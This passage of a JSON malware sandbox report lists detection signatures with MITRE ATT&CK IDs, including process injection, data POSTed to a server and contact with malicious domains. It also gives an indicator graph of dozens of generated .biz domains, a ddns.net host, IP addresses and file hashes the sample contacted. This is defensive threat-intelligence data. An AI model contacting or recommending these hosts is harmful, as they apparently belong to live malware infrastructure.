Call","mitre_attack_id":"T1057","relevance":1,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"$4b","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Attempts to access unusual system drive letters","description":"\"SearchIndexer.exe\" touched \"k:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"l:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"m:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"n:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"o:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"p:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"q:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"r:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"s:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"t:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"u:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"v:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"w:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"x:\\System Volume Information\"\n \"SearchIndexer.exe\" touched \"y:\\System Volume Information\"","origin":"API Call","mitre_attack_id":"T1120","relevance":7,"id":"api-31","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behaviors","description":"The script produces internet activity. Is obfuscated and/or drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$4c","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"$4d","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"malicious","category":"Network Related","name":"Contacts multiple hosts","description":"Contacted 22 (or more) hosts in at least 0 different cls.countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"malicious","category":"Network Related","name":"Detected multiple DNS responses with a low TTL","description":"$4e","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":3,"id":"network-35","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$4f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"Spreading","details_count":2,"details":[{"detail":"Attempts to access unusual system drive letters"},{"detail":"Detected multiple DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 57 domains and 57 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}],"intel_graph":{"map":{"Domain:acwjcqqv.biz":{"type":"Domain","value":"acwjcqqv.biz"},"Domain:anpmnmxo.biz":{"type":"Domain","value":"anpmnmxo.biz"},"Domain:brsua.biz":{"type":"Domain","value":"brsua.biz"},"Domain:bumxkqgxu.biz":{"type":"Domain","value":"bumxkqgxu.biz"},"Domain:cvgrf.biz":{"type":"Domain","value":"cvgrf.biz"},"Domain:deoci.biz":{"type":"Domain","value":"deoci.biz"},"Domain:dlynankz.biz":{"type":"Domain","value":"dlynankz.biz"},"Domain:dwrqljrr.biz":{"type":"Domain","value":"dwrqljrr.biz"},"Domain:esuzf.biz":{"type":"Domain","value":"esuzf.biz"},"Domain:ftxlah.biz":{"type":"Domain","value":"ftxlah.biz"},"Domain:fwiwk.biz":{"type":"Domain","value":"fwiwk.biz"},"Domain:gcedd.biz":{"type":"Domain","value":"gcedd.biz"},"Domain:gnqgo.biz":{"type":"Domain","value":"gnqgo.biz"},"Domain:great417.ddns.net":{"type":"Domain","value":"great417.ddns.net"},"Domain:gvijgjwkh.biz":{"type":"Domain","value":"gvijgjwkh.biz"},"Domain:gytujflc.biz":{"type":"Domain","value":"gytujflc.biz"},"Domain:ifsaia.biz":{"type":"Domain","value":"ifsaia.biz"},"Domain:iuzpxe.biz":{"type":"Domain","value":"iuzpxe.biz"},"Domain:jdhhbs.biz":{"type":"Domain","value":"jdhhbs.biz"},"Domain:jhvzpcfg.biz":{"type":"Domain","value":"jhvzpcfg.biz"},"Domain:jpskm.biz":{"type":"Domain","value":"jpskm.biz"},"Domain:knjghuig.biz":{"type":"Domain","value":"knjghuig.biz"},"Domain:lejtdj.biz":{"type":"Domain","value":"lejtdj.biz"},"Domain:lpuegx.biz":{"type":"Domain","value":"lpuegx.biz"},"Domain:lrxdmhrr.biz":{"type":"Domain","value":"lrxdmhrr.biz"},"Domain:mgmsclkyu.biz":{"type":"Domain","value":"mgmsclkyu.biz"},"Domain:mnjmhp.biz":{"type":"Domain","value":"mnjmhp.biz"},"Domain:myups.biz":{"type":"Domain","value":"myups.biz"},"Domain:npukfztj.biz":{"type":"Domain","value":"npukfztj.biz"},"Domain:nqwjmb.biz":{"type":"Domain","value":"nqwjmb.biz"},"Domain:oflybfv.biz":{"type":"Domain","value":"oflybfv.biz"},"Domain:opowhhece.biz":{"type":"Domain","value":"opowhhece.biz"},"Domain:oshhkdluh.biz":{"type":"Domain","value":"oshhkdluh.biz"},"Domain:przvgke.biz":{"type":"Domain","value":"przvgke.biz"},"Domain:pywolwnvd.biz":{"type":"Domain","value":"pywolwnvd.biz"},"Domain:qaynky.biz":{"type":"Domain","value":"qaynky.biz"},"Domain:qpnczch.biz":{"type":"Domain","value":"qpnczch.biz"},"Domain:saytjshyf.biz":{"type":"Domain","value":"saytjshyf.biz"},"Domain:ssbzmoy.biz":{"type":"Domain","value":"ssbzmoy.biz"},"Domain:sxmiywsfv.biz":{"type":"Domain","value":"sxmiywsfv.biz"},"Domain:tbjrpv.biz":{"type":"Domain","value":"tbjrpv.biz"},"Domain:typgfhb.biz":{"type":"Domain","value":"typgfhb.biz"},"Domain:uhxqin.biz":{"type":"Domain","value":"uhxqin.biz"},"Domain:vcddkls.biz":{"type":"Domain","value":"vcddkls.biz"},"Domain:vjaxhpbji.biz":{"type":"Domain","value":"vjaxhpbji.biz"},"Domain:vrrazpdh.biz":{"type":"Domain","value":"vrrazpdh.biz"},"Domain:vyome.biz":{"type":"Domain","value":"vyome.biz"},"Domain:warkcdu.biz":{"type":"Domain","value":"warkcdu.biz"},"Domain:wllvnzb.biz":{"type":"Domain","value":"wllvnzb.biz"},"Domain:www.anpmnmxo.biz":{"type":"Domain","value":"www.anpmnmxo.biz"},"Domain:xlfhhhm.biz":{"type":"Domain","value":"xlfhhhm.biz"},"Domain:yauexmxk.biz":{"type":"Domain","value":"yauexmxk.biz"},"Domain:yhqqc.biz":{"type":"Domain","value":"yhqqc.biz"},"Domain:ytctnunms.biz":{"type":"Domain","value":"ytctnunms.biz"},"Domain:yunalwv.biz":{"type":"Domain","value":"yunalwv.biz"},"Domain:zjbpaao.biz":{"type":"Domain","value":"zjbpaao.biz"},"Domain:zlenh.biz":{"type":"Domain","value":"zlenh.biz"},"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7":{"type":"File","value":"3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7"},"File:6873844a8e7a98774f42432be8c9361d5878865e47f8f05715e4af9ba43f7d95":{"type":"File","value":"6873844a8e7a98774f42432be8c9361d5878865e47f8f05715e4af9ba43f7d95"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"Ip:104.219.250.36":{"type":"Ip","value":"104.219.250.36"},"Ip:165.160.15.20":{"type":"Ip","value":"165.160.15.20"},"Ip:172.234.24.152":{"type":"Ip","value":"172.234.24.152"},"Ip:172.234.24.173":{"type":"Ip","value":"172.234.24.173"},"Ip:176.100.243.135":{"type":"Ip","value":"176.100.243.135"},"Ip:192.64.119.165":{"type":"Ip","value":"192.64.119.165"},"Ip:193.166.255.171":{"type":"Ip","value":"193.166.255.171"},"Ip:3.222.192.211":{"type":"Ip","value":"3.222.192.211"},"Ip:3.229.117.57":{"type":"Ip","value":"3.229.117.57"},"Ip:3.238.30.69":{"type":"Ip","value":"3.238.30.69"},"Ip:3.250.92.156":{"type":"Ip","value":"3.250.92.156"},"Ip:34.170.92.185":{"type":"Ip","value":"34.170.92.185"},"Ip:34.209.195.255":{"type":"Ip","value":"34.209.195.255"},"Ip:34.229.166.50":{"type":"Ip","value":"34.229.166.50"},"Ip:34.41.139.193":{"type":"Ip","value":"34.41.139.193"},"Ip:44.244.22.128":{"type":"Ip","value":"44.244.22.128"},"Ip:50.16.27.236":{"type":"Ip","value":"50.16.27.236"},"Ip:52.16.171.153":{"type":"Ip","value":"52.16.171.153"},"Ip:52.212.150.54":{"type":"Ip","value":"52.212.150.54"},"Ip:52.43.119.120":{"type":"Ip","value":"52.43.119.120"},"Ip:85.214.228.140":{"type":"Ip","value":"85.214.228.140"},"Url:/aawvul":{"type":"Url","value":"/aawvul"},"Url:/ajxguktg":{"type":"Url","value":"/ajxguktg"},"Url:/alkurfht":{"type":"Url","value":"/alkurfht"},"Url:/au":{"type":"Url","value":"/au"},"Url:/awpkai":{"type":"Url","value":"/awpkai"},"Url:/bdjoerdfknlsim":{"type":"Url","value":"/bdjoerdfknlsim"},"Url:/bojnikroad":{"type":"Url","value":"/bojnikroad"},"Url:/bppvxq":{"type":"Url","value":"/bppvxq"},"Url:/brlpkregxbc":{"type":"Url","value":"/brlpkregxbc"},"Url:/caioxutna":{"type":"Url","value":"/caioxutna"},"Url:/cwskvwfkoexuwk":{"type":"Url","value":"/cwskvwfkoexuwk"},"Url:/da":{"type":"Url","value":"/da"},"Url:/dpfd":{"type":"Url","value":"/dpfd"},"Url:/dq":{"type":"Url","value":"/dq"},"Url:/edagcdxijxx":{"type":"Url","value":"/edagcdxijxx"},"Url:/f":{"type":"Url","value":"/f"},"Url:/ftfowewwqcf":{"type":"Url","value":"/ftfowewwqcf"},"Url:/g":{"type":"Url","value":"/g"},"Url:/gmoa":{"type":"Url","value":"/gmoa"},"Url:/grnfmnsp":{"type":"Url","value":"/grnfmnsp"},"Url:/gteg":{"type":"Url","value":"/gteg"},"Url:/hqfyx":{"type":"Url","value":"/hqfyx"},"Url:/hshrpjedkwl":{"type":"Url","value":"/hshrpjedkwl"},"Url:/i":{"type":"Url","value":"/i"},"Url:/igmxsqualglndix":{"type":"Url","value":"/igmxsqualglndix"},"Url:/igsydeb":{"type":"Url","value":"/igsydeb"},"Url:/ittooiq":{"type":"Url","value":"/ittooiq"},"Url:/iydmmkmewuttg":{"type":"Url","value":"/iydmmkmewuttg"},"Url:/jjyarteqwodx":{"type":"Url","value":"/jjyarteqwodx"},"Url:/jvltds":{"type":"Url","value":"/jvltds"},"Url:/k":{"type":"Url","value":"/k"},"Url:/kkwlqrube":{"type":"Url","value":"/kkwlqrube"},"Url:/klmwrsqs":{"type":"Url","value":"/klmwrsqs"},"Url:/klsrxno":{"type":"Url","value":"/klsrxno"},"Url:/kpbendnmvboqlr":{"type":"Url","value":"/kpbendnmvboqlr"},"Url:/krseo":{"type":"Url","value":"/krseo"},"Url:/lropdpu":{"type":"Url","value":"/lropdpu"},"Url:/ltbcty":{"type":"Url","value":"/ltbcty"},"Url:/mfrqir":{"type":"Url","value":"/mfrqir"},"Url:/mrjamadgomsxut":{"type":"Url","value":"/mrjamadgomsxut"},"Url:/nnnbwobrm":{"type":"Url","value":"/nnnbwobrm"},"Url:/nnsaanis":{"type":"Url","value":"/nnsaanis"},"Url:/pcrnaxebnnwn":{"type":"Url","value":"/pcrnaxebnnwn"},"Url:/pplvectcusjq":{"type":"Url","value":"/pplvectcusjq"},"Url:/prll":{"type":"Url","value":"/prll"},"Url:/psssnxvj":{"type":"Url","value":"/psssnxvj"},"Url:/qaemot":{"type":"Url","value":"/qaemot"},"Url:/qmapg":{"type":"Url","value":"/qmapg"},"Url:/qsugtfbjv":{"type":"Url","value":"/qsugtfbjv"},"Url:/qydpac":{"type":"Url","value":"/qydpac"},"Url:/rsembmyjucc":{"type":"Url","value":"/rsembmyjucc"},"Url:/skmowpbxjm":{"type":"Url","value":"/skmowpbxjm"},"Url:/slqkfvgeunqe":{"type":"Url","value":"/slqkfvgeunqe"},"Url:/sqqpcadnkg":{"type":"Url","value":"/sqqpcadnkg"},"Url:/swjm":{"type":"Url","value":"/swjm"},"Url:/sywrtauykym":{"type":"Url","value":"/sywrtauykym"},"Url:/tdkxrcymqt":{"type":"Url","value":"/tdkxrcymqt"},"Url:/tqya":{"type":"Url","value":"/tqya"},"Url:/uptcdct":{"type":"Url","value":"/uptcdct"},"Url:/vtgymxfakljhd":{"type":"Url","value":"/vtgymxfakljhd"},"Url:/vvrxg":{"type":"Url","value":"/vvrxg"},"Url:/vxsprskwlygiksjk":{"type":"Url","value":"/vxsprskwlygiksjk"},"Url:/wb":{"type":"Url","value":"/wb"},"Url:/winxnjxhtmxihskw":{"type":"Url","value":"/winxnjxhtmxihskw"},"Url:/wlhaljw":{"type":"Url","value":"/wlhaljw"},"Url:/wsetcvegbwpetocq":{"type":"Url","value":"/wsetcvegbwpetocq"},"Url:/wsyriayansdhkx":{"type":"Url","value":"/wsyriayansdhkx"},"Url:/wtbbjrfgbeajjj":{"type":"Url","value":"/wtbbjrfgbeajjj"},"Url:/wugamt":{"type":"Url","value":"/wugamt"},"Url:/wv":{"type":"Url","value":"/wv"},"Url:/wvvb":{"type":"Url","value":"/wvvb"},"Url:/xmsfnrjjduambr":{"type":"Url","value":"/xmsfnrjjduambr"},"Url:/xxamf":{"type":"Url","value":"/xxamf"},"Url:/y":{"type":"Url","value":"/y"},"Url:/ybdqpqwn":{"type":"Url","value":"/ybdqpqwn"},"Url:/yoopsulylglsg":{"type":"Url","value":"/yoopsulylglsg"},"Url:/ytenqmpsyaxmintj":{"type":"Url","value":"/ytenqmpsyaxmintj"},"Url:/ytpukfv":{"type":"Url","value":"/ytpukfv"},"Url:/yycrpacmy":{"type":"Url","value":"/yycrpacmy"},"Url:/yymyxonoujelnhpb":{"type":"Url","value":"/yymyxonoujelnhpb"}},"chains":[{"id":"sandbox_network","root":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","edges":[{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:44.244.22.128"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:34.41.139.193"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:3.229.117.57"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:172.234.24.173"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:34.170.92.185"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:50.16.27.236"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:192.64.119.165"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:104.219.250.36"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:104.219.250.36"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:176.100.243.135"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:52.16.171.153"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:172.234.24.152"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:3.250.92.156"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:34.229.166.50"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:3.222.192.211"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:52.43.119.120"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:165.160.15.20"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:193.166.255.171"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:34.209.195.255"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:52.212.150.54"},{"edge_kind":"contacted_ip","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Ip:85.214.228.140"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:acwjcqqv.biz"},{"edge_kind":"resolves_to","from_key":"Domain:acwjcqqv.biz","to_key":"Ip:50.16.27.236"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:anpmnmxo.biz"},{"edge_kind":"resolves_to","from_key":"Domain:anpmnmxo.biz","to_key":"Ip:192.64.119.165"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:brsua.biz"},{"edge_kind":"resolves_to","from_key":"Domain:brsua.biz","to_key":"Ip:52.212.150.54"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:bumxkqgxu.biz"},{"edge_kind":"resolves_to","from_key":"Domain:bumxkqgxu.biz","to_key":"Ip:3.229.117.57"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:cvgrf.biz"},{"edge_kind":"resolves_to","from_key":"Domain:cvgrf.biz","to_key":"Ip:44.244.22.128"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:deoci.biz"},{"edge_kind":"resolves_to","from_key":"Domain:deoci.biz","to_key":"Ip:34.229.166.50"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:dlynankz.biz"},{"edge_kind":"resolves_to","from_key":"Domain:dlynankz.biz","to_key":"Ip:85.214.228.140"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:dwrqljrr.biz"},{"edge_kind":"resolves_to","from_key":"Domain:dwrqljrr.biz","to_key":"Ip:34.41.139.193"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:esuzf.biz"},{"edge_kind":"resolves_to","from_key":"Domain:esuzf.biz","to_key":"Ip:34.209.195.255"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:ftxlah.biz"},{"edge_kind":"resolves_to","from_key":"Domain:ftxlah.biz","to_key":"Ip:52.16.171.153"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:fwiwk.biz"},{"edge_kind":"resolves_to","from_key":"Domain:fwiwk.biz","to_key":"Ip:172.234.24.152"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:gcedd.biz"},{"edge_kind":"resolves_to","from_key":"Domain:gcedd.biz","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:gnqgo.biz"},{"edge_kind":"resolves_to","from_key":"Domain:gnqgo.biz","to_key":"Ip:34.229.166.50"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:great417.ddns.net"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:gvijgjwkh.biz"},{"edge_kind":"resolves_to","from_key":"Domain:gvijgjwkh.biz","to_key":"Ip:52.16.171.153"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:gytujflc.biz"},{"edge_kind":"resolves_to","from_key":"Domain:gytujflc.biz","to_key":"Ip:3.222.192.211"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:ifsaia.biz"},{"edge_kind":"resolves_to","from_key":"Domain:ifsaia.biz","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:iuzpxe.biz"},{"edge_kind":"resolves_to","from_key":"Domain:iuzpxe.biz","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:jdhhbs.biz"},{"edge_kind":"resolves_to","from_key":"Domain:jdhhbs.biz","to_key":"Ip:3.238.30.69"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:jhvzpcfg.biz"},{"edge_kind":"resolves_to","from_key":"Domain:jhvzpcfg.biz","to_key":"Ip:3.229.117.57"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:jpskm.biz"},{"edge_kind":"resolves_to","from_key":"Domain:jpskm.biz","to_key":"Ip:34.209.195.255"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:knjghuig.biz"},{"edge_kind":"resolves_to","from_key":"Domain:knjghuig.biz","to_key":"Ip:50.16.27.236"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:lejtdj.biz"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:lpuegx.biz"},{"edge_kind":"resolves_to","from_key":"Domain:lpuegx.biz","to_key":"Ip:176.100.243.135"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:lrxdmhrr.biz"},{"edge_kind":"resolves_to","from_key":"Domain:lrxdmhrr.biz","to_key":"Ip:44.244.22.128"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:mgmsclkyu.biz"},{"edge_kind":"resolves_to","from_key":"Domain:mgmsclkyu.biz","to_key":"Ip:3.250.92.156"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:mnjmhp.biz"},{"edge_kind":"resolves_to","from_key":"Domain:mnjmhp.biz","to_key":"Ip:52.16.171.153"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:myups.biz"},{"edge_kind":"resolves_to","from_key":"Domain:myups.biz","to_key":"Ip:165.160.15.20"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:npukfztj.biz"},{"edge_kind":"resolves_to","from_key":"Domain:npukfztj.biz","to_key":"Ip:3.229.117.57"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:nqwjmb.biz"},{"edge_kind":"resolves_to","from_key":"Domain:nqwjmb.biz","to_key":"Ip:52.43.119.120"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:oflybfv.biz"},{"edge_kind":"resolves_to","from_key":"Domain:oflybfv.biz","to_key":"Ip:52.16.171.153"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:opowhhece.biz"},{"edge_kind":"resolves_to","from_key":"Domain:opowhhece.biz","to_key":"Ip:34.41.139.193"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:oshhkdluh.biz"},{"edge_kind":"resolves_to","from_key":"Domain:oshhkdluh.biz","to_key":"Ip:44.244.22.128"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:przvgke.biz"},{"edge_kind":"resolves_to","from_key":"Domain:przvgke.biz","to_key":"Ip:172.234.24.152"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:pywolwnvd.biz"},{"edge_kind":"resolves_to","from_key":"Domain:pywolwnvd.biz","to_key":"Ip:44.244.22.128"},{"edge_kind":"contacted_domain","from_key":"File:3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","to_key":"Domain:qaynky.biz"},{"edge_kind":"resolves_to","from_key":"Do